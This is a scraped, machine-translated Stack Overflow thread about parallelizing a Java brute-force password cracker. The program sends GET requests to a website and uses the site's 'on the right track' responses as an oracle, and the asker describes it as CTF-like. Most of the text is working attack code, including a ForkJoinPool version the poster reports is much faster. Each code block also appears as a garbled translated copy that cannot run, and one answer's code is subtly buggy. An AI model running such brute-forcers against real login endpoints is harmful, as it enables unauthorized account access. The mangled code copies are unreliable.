Java 如何使用并行性来加速URL GET请求?

Java 如何使用并行性来加速URL GET请求?,java,url,Java,Url,我所遇到的问题要求我向网站发送请求,并检查特定密码是否正确。这有点类似于CTF问题,但我使用蛮力生成正确的密码密钥,因为网站会反馈特定密钥是否在正确的轨道上。为了将密钥视为“几乎有效”,它必须是正确密钥的子字符串 我已经天真地实现了这一点,但是预期的解决方案使用简单的并行性来加速这个过程。我将如何在Java中实现这一点 import java.net.*; import java.io.*; import java.nio.charset.StandardCharsets; public cl

我所遇到的问题要求我向网站发送请求,并检查特定密码是否正确。这有点类似于CTF问题,但我使用蛮力生成正确的密码密钥,因为网站会反馈特定密钥是否在正确的轨道上。为了将密钥视为“几乎有效”,它必须是正确密钥的子字符串

我已经天真地实现了这一点,但是预期的解决方案使用简单的并行性来加速这个过程。我将如何在Java中实现这一点

import java.net.*;
import java.io.*;
import java.nio.charset.StandardCharsets;

public class Main {
    static boolean check(StringBuilder s) throws IOException{
        String test = "https://example.com?pass=";
        String q = URLEncoder.encode(s.toString(), StandardCharsets.UTF_8);
        URL site = new URL(test+q);
        URLConnection yc = site.openConnection();
        BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
        String inputLine;
        while ((inputLine = in.readLine()) != null) {
            //System.out.println(inputLine);
            if (inputLine.contains("Incorrect password!")) {
                return false;
            }
            if (inputLine.contains("the correct password!")) {
                System.out.println(s);
                System.exit(0);
            }
        }
        return true;
    }
    static void gen(StringBuilder s) throws IOException {
        if (!check(s)) {
            return;
        }
        for (int i = 33; i<127; i++) {
            int len = s.length();
            gen(s.append((char) i));
            s.setLength(len);
        }
    }
    public static void main(String[] args) throws IOException, InterruptedException {
        gen(new StringBuilder("start")); 
    }
}
import java.net.*;
导入java.io.*;
导入java.nio.charset.StandardCharset;
公共班机{
静态布尔检查(StringBuilders)引发IOException{
字符串测试=”https://example.com?pass=";
字符串q=URLEncoder.encode(s.toString(),StandardCharsets.UTF_8);
URL站点=新URL(测试+q);
URLConnection yc=site.openConnection();
BufferedReader in=新的BufferedReader(新的InputStreamReader(yc.getInputStream());
字符串输入线;
而((inputLine=in.readLine())!=null){
//系统输出打印LN(输入线);
if(inputLine.contains(“密码不正确!”){
返回false;
}
if(inputLine.contains(“正确的密码!”){
系统输出打印项次;
系统出口(0);
}
}
返回true;
}
静态void gen(StringBuilder s)引发IOException{
如果(!检查){
回来
}

对于(int i=33;iHi),请使用RecursiveTask、ForkJoinPool进行并行处理。以下代码不是您自己的最终修改

public  class Test {

public static void main(String[] args) {
    ForkJoinPool forkJoinPool=new ForkJoinPool(parallelism);
    forkJoinPool.invoke(new PasswordKeyValidatorTask(new StringBuilder("start")));
}

public static class PasswordKeyValidatorTask extends RecursiveTask<StringBuilder> {

    private static final long serialVersionUID = 3113310524830439302L;

    private StringBuilder password;

    public PasswordKeyValidatorTask(StringBuilder password) {
        this.password = password;
    }

    @Override
    protected StringBuilder compute() {
        try {
            if (!valid(password)) {
                List<PasswordKeyValidatorTask> subtasks = new ArrayList<PasswordKeyValidatorTask>();
                for (int i = 33; i < 127; i++) {
                    PasswordKeyValidatorTask task = new PasswordKeyValidatorTask(password.append((char) i));
                    subtasks.add(task);
                }
                subtasks.stream().forEach(t -> t.fork());
       return subtasks.stream().map(t -> t.join()).findFirst().orElse(null);
            }
        } catch (Exception e) {
        }

        return password;
    }

    boolean valid(StringBuilder s) throws IOException {
        String test = "https://samplewebsite.com?pass=";
         String q = URLEncoder.encode(s.toString(), StandardCharsets.UTF_8);
        URL site = new URL(test + s);
        URLConnection yc = site.openConnection();
        BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
        String inputLine;
        while ((inputLine = in.readLine()) != null) {
            // System.out.println(inputLine);
            if (inputLine.contains("Incorrect password!")) {
                return false;
            }
            if (inputLine.contains("the correct password!")) {
                System.out.println(s);
            }
        }
        return true;
    }

}
公共类测试{
公共静态void main(字符串[]args){
ForkJoinPool ForkJoinPool=新的ForkJoinPool(并行性);
invoke(新的PasswordKeyValidator任务(新的StringBuilder(“开始”));
}
公共静态类PasswordKeyValidator任务扩展了RecursiveTask{
私有静态最终长serialVersionUID=3113010524830439302L;
私有密码;
公共密码KeyValidator任务(StringBuilder密码){
this.password=密码;
}
@凌驾
受保护的StringBuilder compute(){
试一试{
如果(!有效(密码)){
列表子任务=新建ArrayList();
对于(int i=33;i<127;i++){
PasswordKeyValidator任务=新的PasswordKeyValidator任务(password.append((char)i));
子任务。添加(任务);
}
子任务.stream().forEach(t->t.fork());
返回子任务.stream().map(t->t.join()).findFirst().orElse(null);
}
}捕获(例外e){
}
返回密码;
}
布尔有效(StringBuilders)引发IOException{
字符串测试=”https://samplewebsite.com?pass=";
字符串q=URLEncoder.encode(s.toString(),StandardCharsets.UTF_8);
URL站点=新URL(测试+s);
URLConnection yc=site.openConnection();
BufferedReader in=新的BufferedReader(新的InputStreamReader(yc.getInputStream());
字符串输入线;
而((inputLine=in.readLine())!=null){
//系统输出打印LN(输入线);
if(inputLine.contains(“密码不正确!”){
返回false;
}
if(inputLine.contains(“正确的密码!”){
系统输出打印项次;
}
}
返回true;
}
}

}

好的,我研究了更多关于并行性的知识,决定使用ForkJoin/RecursiveAction。使用并行性可以将代码执行时间从200秒减少到43秒左右(在我的计算机上)

import java.util.*;
导入java.util.concurrent.*;
导入java.net.http.*;
导入java.net。*;
导入java.nio.charset.StandardCharset;
导入java.io.*;
公开课爆满{
静态类验证程序扩展了RecursiveAction{
公共密码;
公共验证器(StringBuilder p){
密码=p;
}
公共静态布尔有效(StringBuilders)引发IOException、InterruptedException{
HttpClient=HttpClient.newHttpClient();
字符串测试=”https://example.com?pass=“+URLEncoder.encode(s.toString(),StandardCharsets.UTF_8);
HttpRequest request=HttpRequest.newBuilder().uri(uri.create(test)).GET().build();
HttpResponse response=client.send(请求,HttpResponse.BodyHandlers.ofString());
String text=response.body();
if(text.contains(“密码不正确!”){
返回false;
}
if(text.contains(“正确的密码!”){
系统输出打印项次;
系统出口(0);
}
返回true;
}
@凌驾
受保护的void compute(){
试一试{
如果(!valid(password))返回;
ArrayList c=新的ArrayList();
对于(int i=33;i<127;i++){
StringBuilder t=新的StringBuilder(密码).append((char)i);
c、 添加(新验证器(t));
}
ForkJoinTask.invokeAll(c);
}
捕获(IOException | InterruptedException被忽略){
}
}
}
公共静态void main(字符串[]args){
ForkJoinPool ForkJoinPool=新的ForkJoinPool();
invoke(新的验证器(新的StringBuilder(“开始”));
}
}
当我最初编写这段代码时,我使用了
.fork()
,但这一点都没有帮助。事实上,它使它的执行速度与顺序代码一样慢。我收集了所有
验证器
对象,并使用了
ForkJoinTask.invokeAll()
。这个小小的差异导致了几乎200%的加速。

你看到了吗
import java.util.*;
import java.util.concurrent.*;
import java.net.http.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.io.*;

public class cracked4 {
    static class Validator extends RecursiveAction {
        public StringBuilder password;
        public Validator(StringBuilder p) {
            password = p;
        }
        public static boolean valid(StringBuilder s) throws IOException, InterruptedException {
            HttpClient client = HttpClient.newHttpClient();
            String test = "https://example.com?pass=" + URLEncoder.encode(s.toString(), StandardCharsets.UTF_8);
            HttpRequest request = HttpRequest.newBuilder().uri(URI.create(test)).GET().build();
            HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
            String text = response.body();
            if (text.contains("Incorrect password!")) {
                return false;
            }
            if (text.contains("the correct password!")) {
                System.out.println(s);
                System.exit(0);
            }
            return true;
        }
        @Override
        protected void compute() {
            try {
                if (!valid(password)) return;
                ArrayList<Validator> c = new ArrayList<>();
                for (int i = 33; i < 127; i++) {
                    StringBuilder t = new StringBuilder(password).append((char) i);
                    c.add(new Validator(t));
                }
                ForkJoinTask.invokeAll(c);
                }
            catch (IOException | InterruptedException ignored) {
            }
        }
    }
    public static void main(String[] args) {
        ForkJoinPool forkJoinPool = new ForkJoinPool();
        forkJoinPool.invoke(new Validator(new StringBuilder("start")));
    }
}